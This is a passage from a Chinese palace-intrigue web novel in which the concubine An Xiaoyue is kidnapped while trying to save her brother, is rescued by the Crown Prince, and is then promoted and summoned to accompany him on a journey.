她趴在榻上,闭着眼,脑海中闪过弟弟稚嫩的脸。 他才十二岁,若是真落到贼人手中……她不敢再想。 “怕不是六皇子?” 安小月忽然低喃出声。 六皇子近来频频被太子打压,估计已经到了爆发的边缘。 他动不了太子,只能从她下手,竟想到用这种手段离间她和太子? 安小月冷笑一声,指甲深深掐进掌心。 她绝不会求他! 可若不去,弟弟必死无疑,若是去了,太子知晓后,必定震怒。 更何况……安小月默默攥紧拳头。 她不能连累太子和六皇子因她起冲突,更不能让弟弟因她丧命。 唯一的办法,就是她自己离开。 她深吸一口气,迅速起身,将几件素银首饰裹进帕子,又摸出藏在枕下的玉牌。 这是前段日子太子随手赏的,虽算不得贵重,但上面刻着东宫的印记,或许能唬住人。 “赵大人可在?” 一切收拾妥当,她探出半个身子,压着嗓子朝院外值守的小太监打听。 “赵大人刚巡完夜,这会儿应在角房吃茶。” 安小月应了声,拢了拢衣袖,悄无声息地推开门,朝着侍卫休息的角门走去。 赵忠正抱刀而坐,见她走近,眉头一皱。 “安奉仪,这么晚了,您这是……” 安小月抬眸,眼中泪光闪烁,却带着决绝,“赵大哥,我娘托人递了信,说我弟弟出事了!我就想回去看一眼,问清楚到底怎么回事……” 她声音哽咽,指尖颤抖着抓住赵忠的衣袖。 “求您行个方便,我就出去一个时辰,天亮前一定回来!” 赵忠盯着她看了许久,终于叹了口气,“安奉仪,殿下若知道……” “他不会知道的!”她急急打断,泪水簌簌而落,“我就去看一眼,赵大哥,我弟弟才十二岁啊!” 夜色沉沉,她的哭声压抑而绝望。 赵忠沉默片刻,终于侧身让开半步,低声道,“快去快回。” 安小月心头一松,匆匆点头,攥紧衣袖快步消失在夜色中。 大半个时辰之后,她借着微弱的月光,跌跌撞撞地摸到了相府后墙。 她蹲下身,拨开杂草,露出那个只有她和弟弟知道的狗洞。 安小月咬牙钻了进去,幸运的是房里烛火还亮着。 她贴着墙根摸到窗下,听见里面传来压抑的咳嗽声。 是娘! 她屏住呼吸,轻轻叩了叩门。 “谁!”门内传来一声惊惶的低呼。 “娘,是我……”安小月哑着嗓子应道。 门猛地被拉开,林氏苍白的脸在烛光下显得格外憔悴。 她瞪大眼睛,一把将安小月拽进屋,又慌慌张张地关上门,“你怎么回来了?快走!要是被夫人发现……” “弟弟呢?”安小月抓住娘亲的手,冰凉的温度让她心头一颤,“那个人是谁?” 林氏浑身发抖,眼泪倏地滚下来。 夜风呜咽,破败的院落里,烛火忽明忽暗。 安小月听完只觉得浑身发抖,手指死死攥着林氏的衣角。 “娘,您说什么?” 她声音嘶哑,像是从喉咙里硬挤出来的,“他们要拿我去讨好六皇子?” 林氏泪如雨下,“你快走!她们想用你和六皇子做交易,用来对付太子,若是发现你在这儿……” 院外突然传来杂乱的脚步声。 第127章 太子府来人了 安小月浑身一僵。 “来不及了。” 林氏脸色惨白,突然从枕下摸出一把剪刀塞进她手里,“从后窗走!快!” 安小月攥着剪刀的手剧烈颤抖,突然跪倒,重重磕了个头。 “娘,女儿不孝,但弟弟的命,我非救不可!” 说罢猛地推开房门,夜风裹着刺耳的冷笑迎面扑来。 院外火把通明。 王氏一身华贵锦袍,身旁站着安欢颜,两人身后黑压压站着一群家丁,刀锋映着火光,刺得人眼睛生疼。 “哟,这不是我们太子府的‘贵人’吗?” 安欢颜掩唇轻笑,眼底却狠毒,“怎么,放着太子的宠爱不要,大半夜钻狗洞回来当贼?” 王氏斜眼瞥向安小月手里的剪刀,“你还想杀人不成?” 安小月指节攥得发白,剪刀尖抵在自己掌心,疼痛让她越发清醒。 她突然笑了,“你们费尽心机,不就是想逼我自投罗网吗?” 她猛地抬手指向安欢颜,“六皇子许了你什么好处?让你连亲弟弟都能卖?” 安欢颜脸色骤变。 “放肆!”王氏厉喝一声,家丁们立刻围了上来。 “一个贱种,也配当我颜儿的弟弟?把这贱人捆了,六皇子府还等着要人呢!” 林氏突然从屋里冲出来,手里举着烛台狠狠砸向空地。 “谁敢动我女儿!” 王氏的脸倏地阴沉,“来人,把她给我绑了!” 一声令下,家丁们争前恐后冲了上来。 王氏看着林氏被摁在地上,鬓发散乱,不由得嗤笑一声,慢悠悠地抚了抚鬓角。 “蜉蝣撼树,不自量力。” 她抬脚,鞋尖抵在林氏下巴上,迫使她抬头,“一个连妾都算不上的妓子,也配跟我叫板?” 安欢颜站在一旁,唇角噙着冷笑,眼底却隐隐闪过一丝扭曲的快意。 “娘,何必跟她废话?六皇子的人还在等着呢。” 安小月也被两个壮硕家丁死死扣住肩膀。 她死死盯着王氏,声音嘶哑,“你们敢动我娘,我让你们全都不得好死!” “哟,好大的口气。” 王氏轻蔑地瞥她一眼,转头对家丁道,“把这老贱人捆了,丢进柴房,饿上三天,让她好好清醒清醒。” 家丁粗鲁地拽起林氏。 粗绳勒进她的皮肉,她闷哼一声,却仍死死盯着安小月,嘴唇颤抖着无声地说,“跑……快跑……” 安小月目眦欲裂,指甲深深掐进掌心,鲜血顺着指缝滴落。 她猛地抬头,看向安欢颜,一字一顿,“你想好了,你确定六皇子会赢?” 安欢颜脸色一变,“你什么意思?” 安小月冷笑,“你很快就知道了。” 王氏冷眼看着安小月与女儿说话,不耐烦地甩了甩袖子,嗓音尖利,“还跟她废什么话?” 她一把拽过安欢颜藏在身后。 “六皇子的人就在偏门等着,赶紧把这祸害送过去!是死是活,都跟相府无关!” 安欢颜咬了咬唇,转头对家丁厉声道,“还愣着干什么?堵上她的嘴,捆严实了送走!” 家丁们一拥而上,安小月没挣扎,甚至顺从地抬起手,任由他们捆绑。 只是在绳子收紧的刹那,她微微偏头,对安欢颜轻轻一笑。 安欢颜心头猛地一跳,下意识后退半步。 “你……” 她刚想说什么,王氏已经不耐烦地催促,“磨蹭什么?再耽搁天都亮了!” 安小月被粗暴地推搡着往外走,临出门前,她最后回头看了一眼。 林氏被堵着嘴按在地上,满眼是泪,王氏满脸得意,安欢颜则直勾勾盯着自己。 她收回目光,垂下眼睫,乖顺地迈出了门槛。 半个时辰后,安小月被推进一间屋子,手腕上的麻绳勒出深深的血痕。 她垂着头,长发散落,遮住了眼底的冷静。 她在赌。 赌太子会不会来。 赌他对自己,到底有几分真心。 萧泽斜倚在软榻上,指尖把玩着一把折扇,似笑非笑地打量着她。 “你倒是比本皇子想象的还要镇定。” 安小月缓缓抬头,唇角勾起一抹讥诮的弧度。 “六殿下大费周章地抓我,总不会只是为了看我惊慌失措吧?” 萧泽眯了眯眼,忽然倾身向前,一把掐住她的下巴,“你如此冷静,是觉得太子会为了你冒险?” 安小月不躲不闪,直视着他,“六殿下害怕太子来么?” 空气骤然凝固。 萧泽松开她,大笑出声,“好!好一个安小月!” 他猛地拍案,“来人!把她押下去,好好伺候!” 话音未落,府外突然传来一阵急促的马蹄声,紧接着是侍卫慌乱的喊叫。 “殿下!太子府的人闯进来了!” 萧泽脸色骤变。 安小月低垂的睫毛轻轻一颤,唇角微不可察地弯了弯。 大门被轰然踹开,冷风卷着血腥气灌入室内。 一道修长的身影逆光而立,低沉的声音响彻整个屋子。 “六弟,你动孤的人,问过孤了吗?” 萧泽猛地从座上站起,脸色铁青,“皇兄这是何意?” 萧衍目光扫过被捆住的安小月,见她虽脸色苍白却无大碍,眼底寒意稍霁。 转而看向六皇子时,又恢复那副似笑非笑的模样。 “六弟绑孤的人,倒问起孤来了?” “你的人?”萧泽强压惊慌,冷笑道,“她私逃出府,皇兄不是放任不管吗?如今又来装什么情深义重!” 室内烛火忽地一颤。 萧衍轻笑出声,“不放手,怎知你会咬钩?” 萧泽脸色一下子变了。 太子来得太快了! 他原本的计划天衣无缝,先绑了安小月,再放出消息引太子入局,在城郊设伏。 可如今,太子竟直接带兵闯进,而他的死士甚至还未就位! 萧泽强压下慌乱,脸上瞬间换上一副惊讶又关切的神情,快步上前。 “皇兄这是何意?臣弟正要派人去太子府送信!” 萧衍冷冷扫他一眼,“送信?” “是啊!”萧泽一脸无辜,指向安小月。 “臣弟府上的侍卫今夜巡街,见她独自一人昏倒在巷子里,怕她出事,才先带回府中照料,正打算问过皇兄之后,亲自送回太子府……” 他语气诚恳,甚至带着几分委屈,“皇兄若不信,大可问问安姑娘,臣弟可曾亏待她半分?” 安小月低垂着眼睫,唇角却微不可察地一勾。 六皇子慌了。 第128章 训诫 萧衍勾唇,“哦?那六弟倒是说说,她为何会被绑起来?” 萧泽心头一跳。 谁让他来得太快,他根本来不及做什么! 他强撑镇定,干笑道,“这……臣弟想着她半夜出逃,或许是做了亏心事,怕她逃跑,是以才会把人绑起来。” “这么说,孤还要感谢你?” 院外骤然传来整齐的铠甲碰撞声,有人高喝道,“六皇子私绑储君妾侍,意图谋逆!” 萧泽脸色瞬间惨白。 完了。 太子等的,或许就是他这句“狡辩”。 “放肆!谁敢动本皇子!” 可东宫卫队哪会给他挣扎的机会? 四名铁甲侍卫上前,一把扣住他的双臂,铁链“哗啦”一声缠上他的手腕。 萧泽被彻底制住,只能咬牙怒视太子,“皇兄,你当真要如此绝情?” 萧衍面无表情,只淡淡道,“带走。” 夜色沉沉,萧泽被押上马车,直奔皇宫。 而萧衍则转身,看向仍跪坐在地上的安小月。 他伸手,将她扶起,语气里带着几分无奈,“你倒是冷静。” 安小月眨了眨眼,故意装出一副委屈又乖巧的模样,轻声道,“奴相信殿下不会真的抛弃奴的。” 萧衍挑眉,“哦?你就不怕孤真把你丢给六弟?” 安小月低眉顺眼,小声道,“赵大人忠于殿下,明知不可为却同意放奴出府,而且……太顺利了。” 萧衍盯着她看了两秒,低笑一声,伸手捏住她的下巴。 “你倒是机灵。” 安小月无辜眨眼,“都是殿下教得好。” 萧衍冷哼一声,松开手,转身大步往外走,“跟上。” 安小月唇角微扬,快步追了上去。 赵忠带着储君印信先进了宫,六皇子被押入大殿时,殿内灯火通明,皇帝高坐龙椅,面色阴沉。 皇后也被匆匆唤起,面带骇然,却在看到六皇子的瞬间清醒过来。 “老六,你可知罪?”皇帝冷声质问。 萧泽跪伏在地,额头抵着冰冷的地砖,心中惊骇。 太子居然敢把事情闹到父皇面前! 皇后蹙眉,低声催促,“你还不快说?” 萧泽咬牙,硬着头皮道,“儿臣……儿臣只是一时糊涂,绝无谋逆之心!” 皇帝冷笑,“一时糊涂?你绑的是太子的妾室,不是寻常女子!你这是要做什么?试探东宫的底线,还是……” 他声音陡然一沉,“想取而代之?” 萧泽浑身一颤,猛地抬头,“父皇明鉴!儿臣绝无此意!” “那安小月的妾室文书尚未加盖玺印,按律算不得东宫之人!儿臣不过是半路撞见个逃窜的宫婢,按规矩将她拿下……” “啪!” 皇帝将一卷朱批文书掷于阶前,冷笑道,“睁大你的眼睛看看,今晨巳时,朕已亲笔用印。” 展开的绢帛上,赫然盖着天子玉玺。 皇帝声如寒铁,“朕倒不知,你连朕的朱批都敢质疑?” 萧泽面色骤白,却见萧衍从容出列。 “六弟若真按宫规办事,为何不将人交予内务府,反而私押在你的私宅?” 皇后闭了闭眼,再开口时嗓音微颤,“本宫教养你十余载,竟不知你已荒唐至此……” 她指尖深深掐进掌心,目光却望向皇帝。 “陛下,泽儿犯了大错,理应重罚,但他年纪尚小,也是一时冲动才会做出糊涂事,更何况……” 皇后冷眼瞪着安小月。 “这个贱婢从前就三番两次勾引泽儿,或许这次也是她故意勾引,不然她怎么会半夜逃出太子府?” “太子,她既是你府上的人,深夜出逃竟无人察觉?你这太子府之主,莫非连个奴婢都管束不住?” 萧衍刚要开口辩解,皇帝却猛地一拍龙案,冷厉的声音骤然截断了他的话头。 “够了!” 殿内霎时一静。 皇帝面色阴沉,目光如刃般扫过众人。 “现在说的是老六绑架太子妾室的事,至于别的……”他冷冷睨了皇后一眼,“容后再议。” 可皇后却不依不饶。 她霍然起身,“陛下!若非这婢女半夜私自出逃,泽儿怎会遇见她?又怎会犯下这等糊涂事?” 她死死盯着安小月,眼中寒光慑人。 “一个低贱婢女,深夜不在府中安分守己,反倒四处游荡,难道不该重罚?” 萧衍忽然轻笑一声,漫不经心道,“母后说错了,安氏如今已是儿臣的奉仪,并非什么低贱婢女。” 他微微抬眸,目光在皇后骤然变色的脸上轻轻一扫。 “父皇今日亲自批的朱,六弟不知情,难道母后也忘了?” 殿内瞬间悄无声息。 皇帝顿了顿,眼底闪过一丝玩味。 皇后则是脸色一白,似要再辩,却终究没能说出一个字来。 皇帝见状,沉声一叹,缓缓起身道,“老六绑的是太子的人,说到底,这是东宫的家事。” 他目光扫过众人,最终落在太子身上,“该如何处置,便由太子定夺吧。” “陛下!”皇后急声唤道。 皇帝却只摆了摆手,语气不容置疑,“朕意已决。” 转而看向太子,“你想如何处置?” 萧衍神色平静,目光在安小月身上短暂停留,随即沉声道,“更深露重,父皇和母后该早些歇息了。” “安奉仪今夜受惊了,儿臣自会妥善安抚,至于六弟……” 他顿了顿,唇角微扬,“他年少莽撞,想必也是一时糊涂,稍加训诫便是。” 皇帝眼中闪过一丝赞许,若有所思地点点头。 “那便交由你处置吧,老六,老实听你皇兄的训诫,再惹事,朕亲自教导你!” 皇后死死攥着帕子,却终究没再开口。 她比谁都清楚,此刻再争只会适得其反。 夜风穿殿而过,吹散了殿内紧绷的气氛。 这场风波看似平息了,但所有人都知道,真正的博弈,才刚刚开始。 第二日,六皇子私自绑架太子妾室的消息如野火般传遍京城,连深闺中的贵女们都在窃窃私语。 听说皇帝震怒,将六皇子交给太子全权处置,就连皇后也被罚了禁闭七日,一年俸禄。 一时间朝野哗然。 然而,安欢颜和王氏却没心思议论。 她们被这消息吓得瑟瑟发抖,甚至连屋子都不敢踏出一步。 第129章 半个主子 王氏坐在厅内,手里的茶已经凉透,却一口未动。 而安欢颜站在窗边,也是神色凝重,指尖无意识地抠着窗框。 “太子殿下没在皇上面前供出我们。”安欢颜低声道,声音有些发紧。 王氏冷笑一声,放下茶盏,杯底磕在桌上发出轻响,“你以为这是好事?” 安欢颜回头看她,脸色微白,“可若他真要追究,为何不直接……” “蠢!”王氏打断她,手指攥紧帕子,“相府现在和东宫绑在一起,他若揭穿我们,自己脸上也无光。” 安欢颜呼吸一滞。 王氏盯着她,声音压得更低,“但这不代表他会放过我们,他只是在等。” 安欢颜指甲掐进掌心。 她想起太子那双深不见底的眼睛,他话不多,明明什么都知道,却什么都不说。 门外传来脚步声,母女俩同时噤声。 丫鬟进来换茶,两人沉默着,直到房门再次关上。 王氏深吸一口气,“这几日别出门,也别见外人。” 安欢颜点头,喉咙发干。 她们都知道,太子不会轻易算了。 他只是在等一个更合适的时机,让她们彻底翻不了身。 就在这时,安禄海一脚踹开房门,门窗被震得哐当一响,两人猛地抬头,脸色瞬间煞白。 “你们干的好事!” 安禄海额角青筋暴起,袖口还沾着未干的茶渍。 显然是刚从外面受气回来。 他一脚踹翻了案几,茶盏瓷盘哗啦散了一地。 “竟敢背着我掺和绑架太子妾室的勾当?还闹得满城风雨!” 王氏起身,强撑着开口,“老爷,这事……” “闭嘴!”安禄海冷笑,“太子今日当着六皇子的面,将折子摔在我脸上!你们知不知道,安小月早已经是他的人了?” 他声音突然一滞,像是这才意识到那个被当作棋子的孽种,竟真成了东宫的人。 安欢颜缩在角落,连头都不敢抬起。 她原以为太子留着她们不处置是顾忌相府颜面,如今才明白,太子只是不想那么快而已。 门外传来急促的脚步声,管家慌张探头。 “老爷,太子府又来人了……” 安禄海脸色铁青,转身时狠狠撂下一句,“若相府因此倾覆,你们一个也别想活!” 他大步走了出去,怒气未消,却忽然顿住脚步,脑中闪过一个念头。 林氏。 那个总是低眉顺眼,在府里做着粗使活计的女人。 明明生了两个孩子,却连个正经姨娘的名分都没有。 可如今,她的女儿竟成了太子的妾室,哪怕再低微,那也是东宫的人。 他眉头紧锁,手指无意识地摩挲着袖口。 要不要给林氏抬个身份? 若是从前,他绝不会在意一个奴婢的死活。 可如今安小月入了东宫,哪怕只是个侍妾,那也是太子的人。 若相府仍让她的亲娘做粗活,传出去,岂不是打太子的脸? 但若突然抬举林氏,又显得相府趋炎附势,倒像是怕了太子…… 况且,若真抬了林氏,安小月的身世可就要公之于众了。 虽然太子很有可能早已知晓,但毕竟没捅破。 他冷哼一声,转头对管家道,“去,把林氏从后院调出来,拨两个丫鬟伺候着,再换间像样的屋子。” 管家一愣,“老爷,这……按什么份例安排?” 安禄海眯了眯眼,“就按半个主子来,不必太张扬,但也不能让人挑出错处。” 太子既然没直接撕破脸,那相府也得留点余地。 林氏,就是这步棋里最微妙的棋子。 至于她的那个小儿子…… 安禄海若有所思,那夜他虽然被绑走了,但天没亮就又被妥善送了回来,半大小子,就是不如林氏一个妇人好安排。 他想着太子府又派人来做什么,很快便把这件事抛之脑后。 另一头,安小月从玉庆宫回来时,已是正午。 她刚踏入自己的小院,还未喘匀气,王嬷嬷便带着一位面容肃穆的嬷嬷迎了上来。 “姑娘可算回来了。” 王嬷嬷脸上堆着笑,对比之前更加恭谨。 “这位是李嬷嬷,殿下特意吩咐来教导姑娘礼仪的。” 安小月忽然想起来回来时貌似听苏公公提起过,说是太子允她在府内小办受封礼。 虽然在太子府内没有外人,可身份到底不一样了,该会的礼仪还是要会的。 她低眉顺眼地福了福身,“嬷嬷安好。” 李嬷嬷上下打量她一眼,也回了一礼。 “姑娘虽只是奉仪,但到底是太子爷的第一个女人,该有的规矩一样不能少。” 她顿了顿,语气加重,“太子爷恩准姑娘在府内小办受封礼,已是天大的体面,姑娘可莫要辜负了。” 安小月垂眸,睫毛在眼下投下一片阴影,遮住了她眼底的复杂情绪。 奉仪。 最低等的妾室,连正式的册封礼都不配有,可偏偏太子给了她这份“体面”。 她心里清楚,这不是恩宠,而是试探。 太子在看她,看相府,甚至看整个朝堂的反应。 “姑娘,先从行礼开始练。”李嬷嬷的声音拉回她的思绪。 安小月抿唇,缓缓屈膝,双手交叠置于腰侧。 “背挺直!” 戒尺“啪”地敲在她后背上,疼得她指尖一颤。 “头低些,眼神莫要乱瞟。” “手抬高,对,就这样保持。” 一遍又一遍,直到她的膝盖发酸,后背沁出薄汗,李嬷嬷才勉强点头。 第一日练到黄昏时刻才停,安小月早已出了一身汗。 好在她即将“飞上枝头”,还没吩咐,有眼色的嬷嬷们早就帮她烧了一锅热水。 舒舒服服地洗了个热水澡,安小月终于能坐下来歇歇了。 她坐在灯下绣帕子,明明聚精会神,却总是出错。 在这府里,她连个能说话的丫鬟都没有,身边尽是些板着脸的嬷嬷,就连王嬷嬷也并非全心全意对她。 因此除非她有意打听,不然外头的风声都透不进来。 正出神,身后忽然传来脚步声,接着是王嬷嬷压低的嗓音。 “姑娘,听说相府特意给您家老太太拨了两个伶俐的丫头伺候着,如今许多事情已不用亲自动手了。” 安小月指尖一颤,针尖扎进指腹,疼得她急忙缩手。 她忙不迭抬起头,“嬷嬷如何知道?” 第130章 伴驾 王嬷嬷笑眯眯的,“老奴方才路过正殿,听苏公公念叨的,说相府对林夫人格外照拂,想来是看在姑娘的份上。” 安小月心头一跳,面上却不显,只轻声道,“多谢嬷嬷告知。” 王嬷嬷摆摆手,“姑娘客气了,老奴不过是想着,姑娘在这府里没个门路,总该知道些外头的消息,姑娘不嫌弃老奴卖弄就行。” 她说完便退了出去,留下安小月一人盯着窗外出神。 苏公公这是突然向她卖好? 还是受了太子授意? 安小月指尖掐进掌心,胸口微微发闷。 虽然过程颇为艰险,但也算是个不错的结果。 那个在相府任人践踏了大半辈子的女人,如今竟因她得了半分体面。 可这份体面能维持多久? 太子今日给她甜头,明日或许就会要她付出代价。 再说她也不是傻子。 太子那日分明是推脱之态,连敷衍她都懒得掩饰,可如今,皇上竟亲自批了她的册封? 她思绪翻涌。 想不明白之前的“绊脚石”是谁,也想不通太子又付出了什么代价。 她想起那日太子眼底的冷意,心头微颤。 还是这之下有更深的算计? 窗外风声簌簌,仿佛藏着无数未尽的秘密,安小月幽幽叹了口气。 这条路,比她想象中的更难走了。 又过了两日,太子府里稍稍收拾了一番,安小月便搬进了新院子——栖月阁。 当天王嬷嬷就领了两个宫女一个小太监进来。 两个宫女看模样年纪应当都上了二十,长得是老实本分,正适合她这种腰杆不硬的妾侍。 但这个小太监却不是奉仪的常规配置。 而是太子特赐的‘听差小火者’,专门用来洒扫外院,顺带传话的,每日只用过来当职两个时辰。 这本不是她该有的体面。 按规矩,她这样的身份,至多只能分一间厢房,两个粗使宫女,一个贴身嬷嬷。 可太子却亲自点了这处院子给她,还额外配了一名小太监传话。 安小月站在院门前,抬头望着新挂的匾额,唇角微抿。 名字倒是雅致,可这院子,却像是被刻意安置在僻静的角落,距离太子所住的玉庆宫稍有距离。 既不算冷落,也不算亲近。 她收拾好心情,第二日傍晚在院子里摆了一桌简单的席面。 太子府里没有其他女眷,她亦无交好的朋友,便只请了王嬷嬷和教导她的李嬷嬷。 “娘子如今有了自己的院子,往后日子便更舒坦些了。”王嬷嬷笑眯眯地夹了一筷子菜,话里话外透着热络。 李嬷嬷为人古板严肃,从不泄漏过多情绪。 她没像王嬷嬷那样捧着安小月,听起来还有些冷淡。 “娘子既得了体面,更要谨守本分。” 安小月垂眸浅笑,亲自给二人斟了茶。 “多谢两位嬷嬷照拂,我都记在心里了。” 夜风微凉,院子里灯笼轻晃,映得她眉眼温顺,可眼底却是一片沉静。 太子给她体面,府里的人便会高看她一眼。 可这高看里,究竟有几分真,几分假? 安小月端起茶盏,轻轻抿了一口,想着若是太子召她侍寝,该如何应对。 但这件事并没有让她发愁太久,两日后便传来太子要赴嵩山祭拜中岳,为王朝祈福的消息。 安小月终于长长地舒了一口气。 还好,还有时间。 这几日她夜不能寐,生怕太子突然召见,就是担心不知如何应对外界的那个传言。 如今他要去嵩山,至少半月不归,她总算能喘口气,好好想想对策。 “娘子!快收拾行装!” 王嬷嬷急匆匆推门而入,脸上带着掩不住的喜色。 安小月一怔,“嬷嬷,这是……” “太子殿下点了您伴驾!” 王嬷嬷压低声音,却压不住兴奋。 “虽说去嵩山祭礼祈福不便让娘子跟随,可殿下却亲自开口让您扮成宫女跟着,这可是天大的恩宠!” 安小月手一抖,温热的茶水溅到手背上,她却顾不上疼。 最怕的事,还是来了。 另一边,萧衍正执笔蘸墨,笔锋在宣纸上缓缓游走。 一个“清”字刚写了一半,唇角却微微勾起,显然心情极好。 苏德轻手轻脚地进来,垂首站在一旁,欲言又止。 萧衍头也不抬,慢悠悠道,“消息送过去了?” 苏德苦笑,“回殿下,送过去了。” “她什么反应?”萧衍笔锋一顿,饶有兴致地抬眼。 “殿下真是神了。”苏德无奈,“安奉仪的反应和殿下猜的一模一样。” 萧衍低笑一声,笔尖重新落下,继续写那个“清”字,语气里带着几分玩味。 “孤就知道,安小月这人,有贼心没贼胆。” 苏德偷偷瞥了眼太子的神色,见他眉眼带笑,便大着胆子接话。 “可不是?殿下给了她名分,她倒好,不仅不主动,反而更躲着走了。” 萧衍哼笑一声,笔锋一收,字已成形。 他搁下笔,指尖轻轻敲了敲桌案,眸色幽深,“孤倒要看看,她能躲到什么时候。” 苏德低头憋笑,心想殿下这是玩逮耗子的游戏玩上瘾了? 萧衍瞥他一眼,似笑非笑,“怎么?你觉得孤太闲了?” 苏德连忙摆手,“不敢不敢!殿下运筹帷幄,自然一切尽在掌握。” 萧衍轻嗤一声,拂袖起身,负手走到窗前,低低自语,“安小月啊安小月,孤给了你机会,你可别让孤等太久。” 苏德站在身后,默默擦了擦汗。 安奉仪啊,您自求多福吧…… 栖月阁内 安小月正背对着门收拾行李,她将一件件衣裳叠好,放进箱笼里,心里乱糟糟的。 “伴驾嵩山……” 她咬了咬唇,叹了口气。 原以为能再躲几日,可明日就要启程,这一路上,她该如何面对太子? 正出神,忽听身后一道低沉的嗓音响起。 “当了妾室,有了名分,心情还不好?” 安小月浑身一僵,手里的东西“啪”地掉在地上。 她猛地转身,就见太子不知何时已站在她身后,正似笑非笑地看着她。 “殿下!”她慌忙行礼,心跳骤然加快,连声音都微微发颤。 萧衍没叫她起身,反而慢悠悠地踱步到她跟前,俯身捡起那件掉落的物件。 “收拾得这么认真,是怕路上伺候不好孤?” 第131章 本分 安小月耳根发烫,头垂得更低,“妾身不敢怠慢……” 萧衍低笑一声,伸手捏住她的下巴,不轻不重捏了两下。 “安小月。”他眸色幽深,嗓音低沉,“你躲了孤这么多日,现在,还要继续躲吗?” 安小月呼吸一滞,只觉得他的指尖烫得吓人,连带着她的脸也烧了起来。 他果然知道了! 安小月强自镇定。 “殿下近日公务繁忙,妾身不敢贸然打扰,况且……妾身托王嬷嬷去问过,嬷嬷说殿下无需人伺候,妾身便老实呆着了,不敢胡乱走动。” 萧衍闻言,冷笑一声,指腹在她下巴上轻轻摩挲了下。 “你以前也不是多安分的性子,怎么如今有了名分,反倒变乖了?” 安小月被他问得哑口无言,总不能直说她怕自己稍有不慎,这好不容易得来的名分就被他收回去吧。 她娘刚因为她当上奉仪过了几天舒坦日子,若她再惹出什么风波…… 她抿了抿唇,低声道,“妾身只是谨守本分。” “本分?”萧衍嗤笑一声,忽然俯身逼近,温热的气息拂过她耳畔,“你的本分是什么?嗯?” 安小月呼吸一窒,心跳快得几乎要蹦出胸口。 她下意识往后缩了缩,却被他一把扣住腰身,整个人几乎贴在他怀里。 “殿下……”她声音发软,手指无意识地揪住他的衣袖。 萧衍垂眸看她,眼底暗流涌动,语气却带着几分危险的意味。 “安小月,孤给你名分,不是让你躲着当摆设的。” 她张了张嘴,还未开口,就听他继续道,“明日启程,你随孤同乘一车。” 安小月倏地睁大眼。 这合乎规矩吗? 但太子松开她,转身往外走,只留下一句轻飘飘的话。 “再敢躲,孤就让你知道,什么叫真正的本分。” 安小月僵在原地,欲哭无泪。 这下是真躲不掉了! 虽然以前也不是没和太子共乘过,可那都是短途,不过一两个时辰的事。 如今去嵩山,路途遥远,少说也要半个月。 更可怕的是,太子是个正常男人,而她,现在是他名正言顺的妾室。 若是他真的想做什么…… 她猛地捂住脸,耳根发烫。 片刻后,安小月深吸一口气,强迫自己冷静下来。 她进太子府,本就不是为了当什么奉仪的。 虽然现在那个任务大概率已经不需要她做了,可那件事的真相,她一点都不想知道。 毕竟知道的越多,死得越快。 她咬了咬唇,心里暗暗盘算着路上该如何避开太子的“兴致”,却听门外传来一阵脚步声。 “奉仪,殿下命人送来了明日要穿的衣裳。”宫女捧着托盘进来,上面整齐地叠着一套浅青色的衣裙。 安小月一愣,“这不是我的衣裳……” 宫女抿嘴一笑,“是殿下特意吩咐的,说奉仪平日穿得太素,这次伴驾,得鲜亮些。” 安小月无言以对,只能顺从收下。 可心底对这趟旅途却更忐忑了。 这一路上,怕是不好过。 翌日清晨,太子府外 安小月穿着一身浅青色的新衣裙,发间只簪了一支素银钗,虽不算华丽,却衬得她肌肤如玉,眉眼清丽。 她站在马车旁,转头对王嬷嬷低声道,“嬷嬷留在府里照看院子,不必跟着了。” 王嬷嬷欲言又止,最终只叹了口气,“娘子路上小心。” 安小月点点头,又指了指身后跟着的宫女。 “有她跟着就行,不过不必近身伺候,跟着内侍们一起行动便是。” 那宫女恭敬应下,退到一旁。 这时,太子从府内走出,一身玄色锦袍,腰间系着玉带,整个人透着股矜贵冷峻的气场。 他目光淡淡扫过来,在安小月身上停留了一瞬,唇角微不可察地勾了勾。 “上车。”他丢下两个字,径直走向马车。 安小月硬着头皮跟上去,踩着矮凳钻进车厢,小心翼翼地坐在最边缘的位置,恨不得把自己缩成一团。 萧衍斜倚在软垫上,单手支着下巴,好整以暇地看着她,“孤会吃人?” 安小月一僵,赔笑道,“殿下说笑了。” 马车缓缓行驶,车厢内空间不算宽敞,安小月却死死贴着车壁,恨不得和太子隔开一条银河的距离。 萧衍眯了眯眼,忽然伸手一拽。 “啊!”安小月猝不及防,整个人被拉得往前一扑,险些栽进他怀里。 她手忙脚乱地撑住座椅,抬头就对上了太子似笑非笑的眼神。 “躲什么?”他指尖绕着她一缕发丝把玩,语气慵懒,“孤记得,你以前胆子挺大的。” 安小月耳根发烫,结结巴巴道,“殿下身份尊贵,妾身不敢僭越……” 萧衍低笑一声,忽然凑近她耳边,压低声音道,“之前勾着孤亲你的时候,怎么不怕僭越?” 安小月浑身一颤,瞳孔骤缩。 她张了张嘴,正想辩解,马车却突然一个颠簸,她整个人不受控制地往前一扑。 “唔!” 唇上传来温软的触感,安小月瞪大眼睛,整个人僵住了。 萧衍眸色一暗,扣住她的后脑,加深了这个意外的吻。 安小月还没反应过来,就被迫投入到太子铺天盖地的霸道攻势当中。 她被吻得浑身发软,唇齿间全是太子身上清冽的香气。 呼吸变得急促,手指无意识地揪住他的衣襟,直到胸腔里的空气几乎被榨干,才挣扎着推了推他的肩膀。 太子终于稍稍退开,却仍扣着她的后颈,指腹若有似无地摩挲着她颈侧细嫩的肌肤。 安小月眼尾泛红,眸中水光潋滟,唇瓣被吮得嫣红微肿,像朵被暴雨打湿的娇花。 她急促地喘息着,胸口剧烈起伏,整个人透着股被欺负狠了的可怜劲儿。 萧衍眸色更深,喉结滚动了下,忽然低头在她颈侧咬了一口。 “嘶……” 安小月疼得一颤,却听他贴着她耳畔哑声道,“孤知道你在怕什么。” 他指尖划过她锁骨,带起一阵战栗,“但你现在是太子府的人,孤让你做什么,你就得做什么。” 安小月睫毛轻颤,心跳加速。 萧衍捏住她下巴,逼她直视自己,声音低沉而危险,“雷霆雨露,皆是君恩,你该记住自己的本分。” 第132章 没用到让女人保护 安小月听出他话里的警告,强撑着扯出一抹笑,“妾身明白。” 萧衍盯着她看了片刻,忽然松开手,懒洋洋靠回软垫上,仿佛方才的暧昧与压迫从未存在。 “倒茶。”他闭目养神,淡淡吩咐。 安小月咬了咬唇,乖乖跪坐起来,颤抖着手去拿小几上的茶壶。 可马车一个颠簸,茶水洒了大半,她慌忙去擦,却听太子嗤笑一声,“笨手笨脚。” 他忽然伸手将她拽到怀里,夺过茶壶自己斟了一杯,却递到她唇边,“喝。” 